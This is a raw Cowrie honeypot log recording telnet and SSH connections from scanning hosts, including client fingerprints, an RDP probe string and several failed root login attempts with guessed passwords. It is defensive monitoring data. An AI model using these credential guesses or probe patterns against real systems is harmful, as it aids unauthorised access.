{"eventid":"cowrie.session.closed","duration":43.02918887138367,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:22:50.984520Z","src_ip":"152.42.224.71","session":"a499c7fee293","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35440,"dst_ip":"10.17.0.5","dst_port":23,"session":"479bc902bfe3","protocol":"telnet","message":"New connection: 152.42.224.71:35440 (10.17.0.5:23) [session: 479bc902bfe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:22:51.084912Z"}
{"eventid":"cowrie.session.closed","duration":24.019163131713867,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:22:51.742883Z","src_ip":"152.42.224.71","session":"8770dd6607e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.45230150222778,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:22:56.268402Z","src_ip":"49.88.156.34","session":"75fbbb7fb49a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56284,"dst_ip":"10.17.0.5","dst_port":23,"session":"69ad6a6c89e2","protocol":"telnet","message":"New connection: 152.42.224.71:56284 (10.17.0.5:23) [session: 69ad6a6c89e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:23:09.885541Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56296,"dst_ip":"10.17.0.5","dst_port":23,"session":"5843a68acafd","protocol":"telnet","message":"New connection: 152.42.224.71:56296 (10.17.0.5:23) [session: 5843a68acafd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:23:10.506305Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56312,"dst_ip":"10.17.0.5","dst_port":23,"session":"03dc1dcb772d","protocol":"telnet","message":"New connection: 152.42.224.71:56312 (10.17.0.5:23) [session: 03dc1dcb772d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:23:12.540026Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56326,"dst_ip":"10.17.0.5","dst_port":23,"session":"a16abf59faaf","protocol":"telnet","message":"New connection: 152.42.224.71:56326 (10.17.0.5:23) [session: a16abf59faaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:23:13.790732Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":58046,"dst_ip":"10.17.0.5","dst_port":22,"session":"9250454f2b3a","protocol":"ssh","message":"New connection: 80.66.85.226:58046 (10.17.0.5:22) [session: 9250454f2b3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:23:15.207654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:23:15.218536Z","src_ip":"80.66.85.226","session":"9250454f2b3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:23:15.312685Z","src_ip":"80.66.85.226","session":"9250454f2b3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"z1x2c3v4","message":"login attempt [root/z1x2c3v4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:23:15.597366Z","src_ip":"80.66.85.226","session":"9250454f2b3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:23:16.693411Z","src_ip":"80.66.85.226","session":"9250454f2b3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":25.659698009490967,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:23:16.744476Z","src_ip":"152.42.224.71","session":"479bc902bfe3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.40020561218262,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:23:22.522259Z","src_ip":"152.42.224.71","session":"aa9999201572","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.383453130722046,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:23:30.037761Z","src_ip":"152.42.224.71","session":"16ec95873fb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":21.813584327697754,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:23:35.604118Z","src_ip":"152.42.224.71","session":"a16abf59faaf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":27.05165195465088,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:23:36.937077Z","src_ip":"152.42.224.71","session":"69ad6a6c89e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.15001392364502,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:23:45.877857Z","src_ip":"152.42.224.71","session":"fc77e1fa5f00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.464948654174805,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:23:48.004844Z","src_ip":"152.42.224.71","session":"03dc1dcb772d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42994,"dst_ip":"10.17.0.5","dst_port":23,"session":"d403b455207c","protocol":"telnet","message":"New connection: 152.42.224.71:42994 (10.17.0.5:23) [session: d403b455207c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:23:49.297955Z"}
{"eventid":"cowrie.session.closed","duration":92.66357970237732,"message":"Connection lost after 92 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:23:57.184314Z","src_ip":"152.42.224.71","session":"c8848a40d8d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":58.014973878860474,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:24:08.521124Z","src_ip":"152.42.224.71","session":"5843a68acafd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00162720680237,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:24:08.525196Z","src_ip":"152.42.224.71","session":"441b3e9fae3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.65.194.103","src_port":36524,"dst_ip":"159.203.135.109","dst_port":22,"session":"3fc24b1d9d31","protocol":"ssh","message":"New connection: 20.65.194.103:36524 (159.203.135.109:22) [session: 3fc24b1d9d31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:24:08.886790Z"}
{"eventid":"cowrie.session.closed","duration":97.35386037826538,"message":"Connection lost after 97 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:24:08.998134Z","src_ip":"152.42.224.71","session":"af6b61858a89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52548,"dst_ip":"10.17.0.5","dst_port":23,"session":"edd7e4d08692","protocol":"telnet","message":"New connection: 152.42.224.71:52548 (10.17.0.5:23) [session: edd7e4d08692]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:24:13.112475Z"}
{"eventid":"cowrie.session.closed","duration":92.85512495040894,"message":"Connection lost after 92 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:24:17.640860Z","src_ip":"152.42.224.71","session":"5b06f179d8d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:24:18.931288Z","src_ip":"20.65.194.103","session":"3fc24b1d9d31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.65.194.103","src_port":44936,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3b1a5bc5990","protocol":"ssh","message":"New connection: 20.65.194.103:44936 (159.203.135.109:22) [session: b3b1a5bc5990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:24:18.982373Z"}
{"eventid":"cowrie.client.version","version":"MGLNDD_159.203.135.109_22","message":"Remote SSH version: MGLNDD_159.203.135.109_22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:24:18.987148Z","src_ip":"20.65.194.103","session":"b3b1a5bc5990","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:24:18.991385Z","src_ip":"20.65.194.103","session":"b3b1a5bc5990","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46782,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f03256af638","protocol":"telnet","message":"New connection: 152.42.224.71:46782 (10.17.0.5:23) [session: 1f03256af638]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:24:21.681627Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46798,"dst_ip":"10.17.0.5","dst_port":23,"session":"b53d6705d7af","protocol":"telnet","message":"New connection: 152.42.224.71:46798 (10.17.0.5:23) [session: b53d6705d7af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:24:23.277448Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:24:25.207634Z","src_ip":"47.237.167.49","session":"a900e643326d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":53816,"dst_ip":"10.17.0.5","dst_port":22,"session":"f19cc6aa3fe0","protocol":"ssh","message":"New connection: 152.42.212.128:53816 (10.17.0.5:22) [session: f19cc6aa3fe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:24:26.188578Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:24:26.192810Z","src_ip":"152.42.212.128","session":"f19cc6aa3fe0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:24:26.195952Z","src_ip":"152.42.212.128","session":"f19cc6aa3fe0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37310,"dst_ip":"10.17.0.5","dst_port":23,"session":"5732c17599d0","protocol":"telnet","message":"New connection: 152.42.224.71:37310 (10.17.0.5:23) [session: 5732c17599d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:24:28.736982Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":58478,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec2824d569d4","protocol":"ssh","message":"New connection: 103.172.78.219:58478 (10.17.0.5:22) [session: ec2824d569d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:24:34.627746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:24:34.633616Z","src_ip":"103.172.78.219","session":"ec2824d569d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:24:34.899322Z","src_ip":"103.172.78.219","session":"ec2824d569d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"n1frdz","message":"login attempt [root/n1frdz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:24:35.762458Z","src_ip":"103.172.78.219","session":"ec2824d569d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.87142992019653,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:24:36.169293Z","src_ip":"152.42.224.71","session":"d403b455207c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40282,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccbe79723cdc","protocol":"telnet","message":"New connection: 152.42.224.71:40282 (10.17.0.5:23) [session: ccbe79723cdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:24:36.384408Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:24:37.029935Z","src_ip":"103.172.78.219","session":"ec2824d569d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40294,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4a462739a25","protocol":"telnet","message":"New connection: 152.42.224.71:40294 (10.17.0.5:23) [session: c4a462739a25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:24:40.689976Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40308,"dst_ip":"10.17.0.5","dst_port":23,"session":"9724a79031c0","protocol":"telnet","message":"New connection: 152.42.224.71:40308 (10.17.0.5:23) [session: 9724a79031c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:24:41.957013Z"}
{"eventid":"cowrie.session.closed","duration":120.00300145149231,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:24:43.328750Z","src_ip":"152.42.224.71","session":"60ccaeb55842","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40316,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fcad93b2f73","protocol":"telnet","message":"New connection: 152.42.224.71:40316 (10.17.0.5:23) [session: 0fcad93b2f73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:24:44.042364Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40318,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d315a76e626","protocol":"telnet","message":"New connection: 152.42.224.71:40318 (10.17.0.5:23) [session: 9d315a76e626]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:24:45.097402Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":38210,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7ec0b7ce4b7","protocol":"ssh","message":"New connection: 46.19.67.181:38210 (159.203.135.109:22) [session: c7ec0b7ce4b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:24:45.599659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:24:45.604810Z","src_ip":"46.19.67.181","session":"c7ec0b7ce4b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:24:45.723612Z","src_ip":"46.19.67.181","session":"c7ec0b7ce4b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nikolas","message":"login attempt [root/nikolas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:24:46.085212Z","src_ip":"46.19.67.181","session":"c7ec0b7ce4b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:24:47.206205Z","src_ip":"46.19.67.181","session":"c7ec0b7ce4b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59816,"dst_ip":"10.17.0.5","dst_port":23,"session":"a51c1cdf0352","protocol":"telnet","message":"New connection: 152.42.224.71:59816 (10.17.0.5:23) [session: a51c1cdf0352]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:24:47.662177Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":59824,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc18f45aa350","protocol":"ssh","message":"New connection: 47.237.167.49:59824 (159.203.135.109:22) [session: bc18f45aa350]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:24:49.708285Z"}
{"eventid":"cowrie.session.closed","duration":37.65221333503723,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:24:50.764559Z","src_ip":"152.42.224.71","session":"edd7e4d08692","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.210.8","src_port":44258,"dst_ip":"10.17.0.5","dst_port":23,"session":"b236f6035b6f","protocol":"telnet","message":"New connection: 146.19.210.8:44258 (10.17.0.5:23) [session: b236f6035b6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:24:55.053933Z"}
{"eventid":"cowrie.session.closed","duration":27.572131395339966,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:24:56.308987Z","src_ip":"152.42.224.71","session":"5732c17599d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55944,"dst_ip":"10.17.0.5","dst_port":23,"session":"8150a1f1a146","protocol":"telnet","message":"New connection: 152.42.224.71:55944 (10.17.0.5:23) [session: 8150a1f1a146]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:24:56.383470Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55952,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba23be44c7e9","protocol":"telnet","message":"New connection: 152.42.224.71:55952 (10.17.0.5:23) [session: ba23be44c7e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:24:59.947116Z"}
{"eventid":"cowrie.session.closed","duration":21.57894730567932,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:25:02.268789Z","src_ip":"152.42.224.71","session":"c4a462739a25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52742,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f42a92369c4","protocol":"telnet","message":"New connection: 152.42.224.71:52742 (10.17.0.5:23) [session: 9f42a92369c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:25:10.843766Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":56658,"dst_ip":"10.17.0.5","dst_port":22,"session":"7884041cfe3e","protocol":"ssh","message":"New connection: 109.172.54.111:56658 (10.17.0.5:22) [session: 7884041cfe3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:25:10.986344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:25:10.991678Z","src_ip":"109.172.54.111","session":"7884041cfe3e","protocol":"ssh"}
